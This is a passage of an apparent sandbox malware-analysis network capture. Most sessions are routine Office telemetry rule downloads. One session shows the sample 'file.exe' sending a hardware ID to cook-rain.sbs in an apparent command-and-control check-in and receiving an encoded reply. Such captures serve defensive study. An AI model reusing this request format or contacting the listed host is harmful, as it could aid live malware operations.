15	192.168.2.5	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:29 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:29 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 3126d9de-f01e-0099-4d8c-3a9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132629Z-r1d97b99577ndm4rhC1TEBf0ps0000000ak0000000006rv2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:29 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:29 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:29 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 30601852-401e-0047-7476-3b8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132629Z-1777c6cb7549j9hhhC1TEBzmcc0000000azg00000000gdy0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:29 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:29 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:29 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:29 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 3af01634-701e-000d-3dd2-3b6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132629Z-r1d97b99577mrt4rhC1TEBftkc0000000a8000000000cbrn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 13:26:29 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:29 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:29 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 24fc30cf-301e-006e-4aba-3bf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132629Z-r1d97b99577jlrkbhC1TEBq8d00000000a6g00000000f24w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:29 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49728	188.114.96.3	443	5788	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:29 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: cook-rain.sbs
2024-11-21 13:26:29 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 37 45 30 43 43 34 45 31 35 34 30 46 33 45 31 30 34 41 46 46 35 41 44 45 43 39 45 36 42 44 37 37 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=7E0CC4E1540F3E104AFF5ADEC9E6BD77
2024-11-21 13:26:30 UTC	980	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=oq29penurkcc8l3v92h5ma02lr; expires=Mon, 17-Mar-2025 07:13:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w%2Fs370a4SnLInjCTtg8K2X2zGK4f9p%2Fmxmm0%2FQKFwH5bt2yG9QcOrGZsVvgbMTdZhHp4iFgB4FlKCximuE3F7bPDHDyMcWWRiwUhjJUlQAiEkhbTvA7OMsarkYUNWXAX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e610303da804234-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2234&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=985&delivery_rate=1257536&cwnd=171&unsent_bytes=0&cid=0c3650aa59277fa4&ts=743&x=0"
2024-11-21 13:26:30 UTC	214	IN	Data Raw: 64 30 0d 0a 6a 49 50 47 76 38 69 2f 79 68 79 75 6a 39 36 64 72 41 4e 68 4e 56 46 68 6e 77 77 71 2f 61 46 2b 5a 30 54 72 58 66 68 61 65 55 54 58 2b 4f 54 4b 36 6f 58 6f 64 4e 72 37 72 71 66 77 4c 44 30 61 59 46 6d 71 49 68 6a 4d 6c 46 42 57 64 64 68 7a 79 57 77 6c 61 2b 50 6c 6f 4f 50 6e 32 36 39 36 67 4f 71 6d 2b 49 34 76 51 31 4d 6c 51 36 55 38 42 74 2f 45 58 46 31 31 6c 6e 47 44 65 41 78 6d 74 71 47 75 79 37 7a 50 38 45 43 42 30 2f 47 73 6c 44 5a 50 42 32 42 55 73 54 30 62 7a 6f 39 50 55 52 6a 45 4c 6f 77 2f 47 43 6e 51 72 4c 54 65 70 74 75 6c 63 59 44 71 70 76 69 4f 4c 30 4e 54 4a 55 4f 6c 50 41 62 66 78 46 78 64 64 4a 59 41 0d 0a Data Ascii: d0jIPGv8i/yhyuj96drANhNVFhnwwq/aF+Z0TrXfhaeUTX+OTK6oXodNr7rqfwLD0aYFmqIhjMlFBWddhzyWwla+PloOPn2696gOqm+I4vQ1MlQ6U8Bt/EXF11lnGDeAxmtqGuy7zP8ECB0/GslDZPB2BUsT0bzo9PURjELow/GCnQrLTeptulcYDqpviOL0NTJUOlPAbfxFxddJYA
2024-11-21 13:26:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:31 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:31 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: eb1ded04-b01e-0097-298c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132631Z-1777c6cb7544nvmshC1TEBf7qc0000000ayg00000000audx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:31 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:31 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:31 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 922c5f4e-601e-005c-577c-3bf06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132631Z-1777c6cb754mrj2shC1TEB6k7w0000000b5g00000000k8at x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:31 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:31 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:31 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 0176f65f-901e-007b-6aca-3bac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132631Z-r1d97b99577tssmjhC1TEB8kan0000000ab0000000006ptt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:31 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:31 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:31 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 79148a84-101e-0017-578c-3a47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132631Z-r1d97b99577tssmjhC1TEB8kan0000000a7000000000ethp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:32 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:31 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:32 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d1e74057-c01e-0014-6563-3ba6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132632Z-178bfbc474bnwsh4hC1NYC2ubs00000001q0000000002u26 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:32 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:33 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:33 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 835fb09e-e01e-0003-07ce-3b0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132633Z-r1d97b995774n5h6hC1TEBvf840000000adg000000007aeg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:33 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:33 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
